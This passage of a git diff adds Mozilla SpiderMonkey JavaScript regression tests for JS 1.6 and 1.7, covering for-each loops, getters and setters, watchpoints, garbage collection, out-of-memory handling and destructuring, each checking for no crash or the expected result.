+var BUGNUMBER = 292020;
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+
+// test here
+function foreachbug()
+{
+ var arryOuter = ["outervalue0", "outervalue1"];
+ var arryInner = ["innervalue1","innervalue2"];
+
+ for (var j in arryOuter)
+ {
+ var result = (j in arryOuter);
+ if (!result)
+ {
+ return ("enumerated property not in object: (" +
+ j + " in arryOuter) " + result);
+ return result;
+ }
+
+
+ for each (k in arryInner)
+ {
+ // this for-each-in should not affect the outer for-in
+ }
+ }
+ return '';
+}
+
+reportCompare('', foreachbug());
diff --git a/js/src/tests/js1_6/extensions/regress-312385-01.js b/js/src/tests/js1_6/extensions/regress-312385-01.js
new file mode 100644
index 000000000..7aa5d0d46
--- /dev/null
+++ b/js/src/tests/js1_6/extensions/regress-312385-01.js
@@ -0,0 +1,129 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 312385;
+var summary = 'Generic methods with null or undefined |this|';
+var actual = '';
+var expect = true;
+var voids = [null, undefined];
+
+
+function noop() { }
+
+var generics = {
+String: [{ substring: [] },
+{ toLowerCase: [] },
+{ toUpperCase: [] },
+{ charAt: [] },
+{ charCodeAt: [] },
+{ indexOf: [] },
+{ lastIndexOf: [] },
+{ toLocaleLowerCase: [] },
+{ toLocaleUpperCase: [] },
+{ localeCompare: [] },
+{ match: [/(?:)/] }, // match(regexp)
+{ search: [] },
+{ replace: [] },
+{ split: [] },
+{ substr: [] },
+{ concat: [] },
+{ slice: [] }],
+
+ Array: [{ join: [] },
+{ reverse: [] },
+{ sort: [] },
+ // { push: [0] }, // push(item1, ...)
+ // { pop: [] },
+ // { shift: [] },
+{ unshift: [] },
+ // { splice: [0, 0, 1] }, // splice(start, deleteCount, item1, ...)
+{ concat: [] },
+{ indexOf: [] },
+{ lastIndexOf: [] },
+ // forEach is excluded since it does not return a value...
+ /* { forEach: [noop] }, // forEach(callback, thisObj) */
+{ map: [noop] }, // map(callback, thisObj)
+{ filter: [noop] }, // filter(callback, thisObj)
+{ some: [noop] }, // some(callback, thisObj)
+{ every: [noop] } // every(callback, thisObj)
+ ]
+};
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var global = this;
+
+for (var c in generics)
+{
+ var methods = generics[c];
+ for (var i = 0; i < methods.length; i++)
+ {
+ var method = methods[i];
+
+ for (var methodname in method)
+ {
+ for (var v = 0; v < voids.length; v++)
+ {
+ var Constructor = global[c]
+
+ var argsLen = method[methodname].length;
+ assertEq(argsLen === 0 || argsLen === 1, true, "not all arities handled");
+
+ var generic = Constructor[methodname];
+ var prototypy = Constructor.prototype[methodname];
+
+ assertEq(typeof generic, "function");
+ assertEq(typeof prototypy, "function");
+
+ // GENERIC METHOD TESTING
+
+ try
+ {
+ switch (method[methodname].length)
+ {
+ case 0:
+ generic(voids[v]);
+ break;
+
+ case 1:
+ generic(voids[v], method[methodname][0]);
+ break;
+ }
+ throw new Error(c + "." + methodname + " must throw for null or " +
+ "undefined first argument");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "Didn't get a TypeError for " + c + "." + methodname +
+ " called with null or undefined first argument");
+ }
+
+
+ // PROTOTYPE METHOD TESTING
+
+ try
+ {
+ prototypy.apply(voids[v], method[methodname][0]);
+ throw new Error(c + ".prototype." + methodname + " must throw " +
+ "for null or undefined this");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ c + ".prototype." + methodname + "didn't throw a " +
+ "TypeError when called with null or undefined this");
+ }
+ }
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests finished.");
diff --git a/js/src/tests/js1_6/extensions/regress-385393-08.js b/js/src/tests/js1_6/extensions/regress-385393-08.js
new file mode 100644
index 000000000..b00cafde9
--- /dev/null
+++ b/js/src/tests/js1_6/extensions/regress-385393-08.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 385393;
+var summary = 'Regression test for bug 385393';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ this.__proto__ = [];
+ [1,2,3,4].map.call();
+}
+catch(ex)
+{
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_6/extensions/regress-414098.js b/js/src/tests/js1_6/extensions/regress-414098.js
new file mode 100644
index 000000000..aa2b6e9de
--- /dev/null
+++ b/js/src/tests/js1_6/extensions/regress-414098.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 414098;
+var summary = 'Getter behavior on arrays';
+var actual = '';
+var expect = '';
+
+var a=[1,2,3];
+var foo = 44;
+a.__defineGetter__(1, function() { return foo + 10; });
+actual = String(a);
+reportCompare("1,54,3", actual, "getter 1");
+
+actual = String(a.reverse());
+reportCompare("3,54,1", actual, "reverse");
+
+var s = "";
+a.forEach(function(e) { s += e + "|"; });
+actual = s;
+reportCompare("3|54|1|", actual, "forEach");
+
+actual = a.join(' - ');
+reportCompare("3 - 54 - 1", actual, "join");
+
+a[2]=3;
+actual = a.pop();
+reportCompare(actual, 3, "pop");
+
+actual = a.pop();
+reportCompare(actual, 54, "pop 2");
diff --git a/js/src/tests/js1_6/extensions/regress-455464-01.js b/js/src/tests/js1_6/extensions/regress-455464-01.js
new file mode 100644
index 000000000..c9d3486e9
--- /dev/null
+++ b/js/src/tests/js1_6/extensions/regress-455464-01.js
@@ -0,0 +1,20 @@
+// |reftest| skip-if(Android) -- bug - nsIDOMWindow.crypto throws NS_ERROR_NOT_IMPLEMENTED on Android
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 455464;
+var summary = 'Do not assert with JIT: !TRACE_RECORDER(cx) ^ (jumpTable == recordingJumpTable)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+a=b=c=d=0; this.__defineGetter__('g', gc); for each (y in this);
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_6/extensions/regress-455464-02.js b/js/src/tests/js1_6/extensions/regress-455464-02.js
new file mode 100644
index 000000000..6ca53a495
--- /dev/null
+++ b/js/src/tests/js1_6/extensions/regress-455464-02.js
@@ -0,0 +1,30 @@
+// |reftest| skip-if(Android) -- bug - nsIDOMWindow.crypto throws NS_ERROR_NOT_IMPLEMENTED on Android
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 455464;
+var summary = 'Do not assert with JIT: !TRACE_RECORDER(cx) ^ (jumpTable == recordingJumpTable)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ a=b=c=d=0; this.__defineGetter__('g', gc); for each (y in this);
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_6/extensions/regress-455464-03.js b/js/src/tests/js1_6/extensions/regress-455464-03.js
new file mode 100644
index 000000000..9a29c4f3e
--- /dev/null
+++ b/js/src/tests/js1_6/extensions/regress-455464-03.js
@@ -0,0 +1,32 @@
+// |reftest| skip-if(Android) -- bug - nsIDOMWindow.crypto throws NS_ERROR_NOT_IMPLEMENTED on Android
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 455464;
+var summary = 'Do not assert with JIT: !TRACE_RECORDER(cx) ^ (jumpTable == recordingJumpTable)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+a=b=c=d=0; this.__defineGetter__('g', gc); for each (y in this);
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ a=b=c=d=0; this.__defineGetter__('g', gc); for each (y in this);
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_6/extensions/regress-455464-04.js b/js/src/tests/js1_6/extensions/regress-455464-04.js
new file mode 100644
index 000000000..f7616d3b7
--- /dev/null
+++ b/js/src/tests/js1_6/extensions/regress-455464-04.js
@@ -0,0 +1,33 @@
+// |reftest| skip-if(Android) -- bug - nsIDOMWindow.crypto throws NS_ERROR_NOT_IMPLEMENTED on Android
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 455464;
+var summary = 'Do not assert with JIT, gczeal 2: !TRACE_RECORDER(cx) ^ (jumpTable == recordingJumpTable)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+if (typeof gczeal == 'undefined')
+{
+ expect = actual = 'Test requires gczeal, skipped.';
+}
+else
+{
+ // Enumerate the global once before we turn on gczeal, so we're not
+ // trying to do all the enumerate hook object creation with a gc on
+ // every object, because that makes tests time out.
+ for (z in this);
+ gczeal(2);
+
+ a=b=c=d=0; this.__defineGetter__('g', gc); for each (y in this);
+
+ gczeal(0);
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_6/extensions/regress-456826.js b/js/src/tests/js1_6/extensions/regress-456826.js
new file mode 100644
index 000000000..a073e8c8d
--- /dev/null
+++ b/js/src/tests/js1_6/extensions/regress-456826.js
@@ -0,0 +1,128 @@
+// |reftest| skip-if(!xulRuntime.shell||Android) slow -- bug 504632
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 456826;
+var summary = 'Do not assert with JIT during OOM';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ if (typeof gcparam != 'undefined')
+ {
+ gc();
+ gc();
+ gcparam("maxBytes", gcparam("gcBytes") + 4*1024);
+ expectExitCode(5);
+ }
+
+ const numRows = 600;
+ const numCols = 600;
+ var scratch = {};
+ var scratchZ = {};
+
+ function complexMult(a, b) {
+ var newr = a.r * b.r - a.i * b.i;
+ var newi = a.r * b.i + a.i * b.r;
+ scratch.r = newr;
+ scratch.i = newi;
+ return scratch;
+ }
+
+ function complexAdd(a, b) {
+ scratch.r = a.r + b.r;
+ scratch.i = a.i + b.i;
+ return scratch;
+ }
+
+ function abs(a) {
+ return Math.sqrt(a.r * a.r + a.i * a.i);
+ }
+
+ function computeEscapeSpeed(c) {
+ scratchZ.r = scratchZ.i = 0;
+ const scaler = 5;
+ const threshold = (colors.length - 1) * scaler + 1;
+ for (var i = 1; i < threshold; ++i) {
+ scratchZ = complexAdd(c, complexMult(scratchZ, scratchZ));
+ if (scratchZ.r * scratchZ.r + scratchZ.i * scratchZ.i > 4) {
+ return Math.floor((i - 1) / scaler) + 1;
+ }
+ }
+ return 0;
+ }
+
+ const colorStrings = [
+ "black",
+ "green",
+ "blue",
+ "red",
+ "purple",
+ "orange",
+ "cyan",
+ "yellow",
+ "magenta",
+ "brown",
+ "pink",
+ "chartreuse",
+ "darkorange",
+ "crimson",
+ "gray",
+ "deeppink",
+ "firebrick",
+ "lavender",
+ "lawngreen",
+ "lightsalmon",
+ "lime",
+ "goldenrod"
+ ];
+
+ var colors = [];
+
+ function createMandelSet(realRange, imagRange) {
+ var start = new Date();
+
+ // Set up our colors
+ for each (var color in colorStrings) {
+ var [r, g, b] = [0, 0, 0];
+ colors.push([r, g, b, 0xff]);
+ }
+
+ var realStep = (realRange.max - realRange.min)/numCols;
+ var imagStep = (imagRange.min - imagRange.max)/numRows;
+ for (var i = 0, curReal = realRange.min;
+ i < numCols;
+ ++i, curReal += realStep) {
+ for (var j = 0, curImag = imagRange.max;
+ j < numRows;
+ ++j, curImag += imagStep) {
+ var c = { r: curReal, i: curImag }
+ var n = computeEscapeSpeed(c);
+ }
+ }
+ print(Date.now() - start);
+ }
+
+ var realRange = { min: -2.1, max: 2 };
+ var imagRange = { min: -2, max: 2 };
+ createMandelSet(realRange, imagRange);
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_6/extensions/regress-457521.js b/js/src/tests/js1_6/extensions/regress-457521.js
new file mode 100644
index 000000000..6f4fbda50
--- /dev/null
+++ b/js/src/tests/js1_6/extensions/regress-457521.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 457521;
+var summary = 'Do not crash @ js_DecompileValueGenerator';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ this.__defineSetter__("x", [,,,].map);
+ this.watch("x", (new Function("var y, eval")));
+ x = true;
+}
+catch(ex)
+{
+}
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_6/extensions/regress-465443.js b/js/src/tests/js1_6/extensions/regress-465443.js
new file mode 100644
index 000000000..529c59a54
--- /dev/null
+++ b/js/src/tests/js1_6/extensions/regress-465443.js
@@ -0,0 +1,39 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465443;
+var summary = '';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'TypeError: invalid assignment to const `b\'';
+
+
+ try
+ {
+ eval('(function () { const b = 16; var out = []; for each (b in [true, "", true, "", true, ""]) out.push(b >> 1) })();');
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_6/extensions/regress-470310.js b/js/src/tests/js1_6/extensions/regress-470310.js
new file mode 100644
index 000000000..c144b54b1
--- /dev/null
+++ b/js/src/tests/js1_6/extensions/regress-470310.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 470310;
+var summary = 'Do not assert: (uint32_t)((atoms - script->atomMap.vector + ' +
+ '((uintN)(((regs.pc + 0)[1] << 8) | (regs.pc + 0)[2])))) < objects_->length';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'TypeError: 6 is not a function';
+
+ this.__defineSetter__('m', [].map);
+ function f() { for (var j = 0; j < 4; ++j) if (j == 3) m = 6; }
+ try { f(); } catch(e) { print(actual = e + ''); }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_6/extensions/regress-472508.js b/js/src/tests/js1_6/extensions/regress-472508.js
new file mode 100644
index 000000000..93b929add
--- /dev/null
+++ b/js/src/tests/js1_6/extensions/regress-472508.js
@@ -0,0 +1,23 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 472508;
+var summary = 'TM: Do not crash @ TraceRecorder::emitTreeCall';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+for (var x in this) { }
+var a = [false, false, false];
+a.__defineGetter__("q", function() { });
+a.__defineGetter__("r", function() { });
+for (var i = 0; i < 2; ++i) for each (var e in a) { }
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_6/extensions/regress-479567.js b/js/src/tests/js1_6/extensions/regress-479567.js
new file mode 100644
index 000000000..6f3525130
--- /dev/null
+++ b/js/src/tests/js1_6/extensions/regress-479567.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 479567;
+var summary = 'Do not assert: thing';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+function f()
+{
+ (eval("(function(){for each (y in [false, false, false]);});"))();
+}
+
+try
+{
+ this.__defineGetter__("x", gc);
+ uneval(this.watch("y", this.toSource))
+ f();
+ throw x;
+}
+catch(ex)
+{
+}
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_6/extensions/regress-565521.js b/js/src/tests/js1_6/extensions/regress-565521.js
new file mode 100644
index 000000000..9dd26a250
--- /dev/null
+++ b/js/src/tests/js1_6/extensions/regress-565521.js
@@ -0,0 +1,40 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Blake Kaplan
+ */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 565521;
+var summary = 'for-each getter calling';
+var actual = '';
+var expect = 'PASS';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var proto = { get prop() { return (this === proto) ? "FAIL" : "PASS"; } };
+ var obj = Object.create(proto);
+
+ var itercount = 0;
+ for each (var i in obj) {
+ ++itercount;
+ actual = i;
+ }
+
+ reportCompare(itercount, 1, summary + ': right itercount')
+ reportCompare(expect, actual, summary + ': right value');
+
+ exitFunc ('test');
+}
+
diff --git a/js/src/tests/js1_6/extensions/shell.js b/js/src/tests/js1_6/extensions/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_6/extensions/shell.js
diff --git a/js/src/tests/js1_6/shell.js b/js/src/tests/js1_6/shell.js
new file mode 100644
index 000000000..b204e608f
--- /dev/null
+++ b/js/src/tests/js1_6/shell.js
@@ -0,0 +1,12 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*-
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// NOTE: This only turns on 1.6 in shell builds. The browser requires the
+// futzing in js/src/tests/browser.js.
+if (typeof version != 'undefined')
+{
+ version(160);
+}
+
diff --git a/js/src/tests/js1_6/template.js b/js/src/tests/js1_6/template.js
new file mode 100644
index 000000000..089aae2d6
--- /dev/null
+++ b/js/src/tests/js1_6/template.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 99999;
+var summary = '';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/GC/browser.js b/js/src/tests/js1_7/GC/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_7/GC/browser.js
diff --git a/js/src/tests/js1_7/GC/regress-341675.js b/js/src/tests/js1_7/GC/regress-341675.js
new file mode 100644
index 000000000..5dc7086a2
--- /dev/null
+++ b/js/src/tests/js1_7/GC/regress-341675.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 341675;
+var summary = 'Iterators: still infinite loop during GC';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var globalToPokeGC = {};
+
+function generator()
+{
+ try {
+ yield [];
+ } finally {
+ make_iterator();
+ }
+}
+
+function make_iterator()
+{
+ var iter = generator();
+ iter.next();
+}
+
+make_iterator();
+gc();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_7/GC/regress-381374.js b/js/src/tests/js1_7/GC/regress-381374.js
new file mode 100644
index 000000000..4ad86780c
--- /dev/null
+++ b/js/src/tests/js1_7/GC/regress-381374.js
@@ -0,0 +1,60 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 381374;
+var summary = 'js_AddScopeProperty - overwrite property with watchpoint';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function huh()
+ {
+ var f;
+
+ Iterator; // ???
+
+ if (0 && 0) {
+ eval(""); // ???
+ }
+
+ f = new Function("x = 1");
+
+ try {
+ f();
+ } catch(e) {}
+ }
+
+ this.watch('x', function(){});
+ this.__defineGetter__('x', new Function());
+ huh();
+ if (typeof gczeal == 'function')
+ {
+ gczeal(2);
+ }
+
+ for (y in [0,1]) { this.__defineSetter__('x', function(){}); }
+
+ if (typeof gczeal == 'function')
+ {
+ gczeal(0);
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/GC/shell.js b/js/src/tests/js1_7/GC/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_7/GC/shell.js
diff --git a/js/src/tests/js1_7/README b/js/src/tests/js1_7/README
new file mode 100644
index 000000000..38286f771
--- /dev/null
+++ b/js/src/tests/js1_7/README
@@ -0,0 +1 @@
+JavaScript 1.7
diff --git a/js/src/tests/js1_7/browser.js b/js/src/tests/js1_7/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_7/browser.js
diff --git a/js/src/tests/js1_7/expressions/browser.js b/js/src/tests/js1_7/expressions/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_7/expressions/browser.js
diff --git a/js/src/tests/js1_7/expressions/destructuring-scope.js b/js/src/tests/js1_7/expressions/destructuring-scope.js
new file mode 100644
index 000000000..374c1bec9
--- /dev/null
+++ b/js/src/tests/js1_7/expressions/destructuring-scope.js
@@ -0,0 +1,67 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 'none';
+var summary = 'Test destructuring assignments for differing scopes';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function f() {
+ var x = 3;
+ if (x > 0) {
+ let {a:x} = {a:7};
+ if (x != 7)
+ throw "fail";
+ }
+ if (x != 3)
+ throw "fail";
+}
+
+function g() {
+ // Before JS1.7's destructuring for…in was fixed to match JS1.8's,
+ // the expected values were a == "x" and b == 7.
+ for (var [a,b] in {x:7}) {
+ if (a !== "x" || typeof b !== "undefined")
+ throw "fail";
+ }
+
+ {
+ // Before JS1.7's destructuring for…in was fixed to match JS1.8's,
+ // the expected values were a == "y" and b == 8.
+ for (let [a,b] in {y:8}) {
+ if (a !== "y" || typeof b !== "undefined")
+ throw "fail";
+ }
+ }
+
+ if (a !== "x" || typeof b !== "undefined")
+ throw "fail";
+}
+
+f();
+g();
+
+if (typeof a != "undefined" || typeof b != "undefined" || typeof x != "undefined")
+ throw "fail";
+
+function h() {
+ // Before JS1.7's destructuring for…in was fixed to match JS1.8's,
+ // the expected values were a == "x" and b == 9.
+ for ([a,b] in {z:9}) {
+ if (a !== "z" || typeof b !== "undefined")
+ throw "fail";
+ }
+}
+
+h();
+
+if (a !== "z" || typeof b !== "undefined")
+ throw "fail";
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_7/expressions/regress-346203.js b/js/src/tests/js1_7/expressions/regress-346203.js
new file mode 100644
index 000000000..1c18a09ac
--- /dev/null
+++ b/js/src/tests/js1_7/expressions/regress-346203.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 346203;
+var summary = 'Do not crash during destructuring assignment ';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var {b:{c:x}}={b:{c:1}}
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/expressions/regress-346645-01.js b/js/src/tests/js1_7/expressions/regress-346645-01.js
new file mode 100644
index 000000000..9782fc82e
--- /dev/null
+++ b/js/src/tests/js1_7/expressions/regress-346645-01.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 346645;
+var summary = 'Do not crash with empty object in destructuring assign LHS';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ eval('({ a:{} }) = 3;');
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/expressions/regress-346645-02.js b/js/src/tests/js1_7/expressions/regress-346645-02.js
new file mode 100644
index 000000000..f01781c67
--- /dev/null
+++ b/js/src/tests/js1_7/expressions/regress-346645-02.js
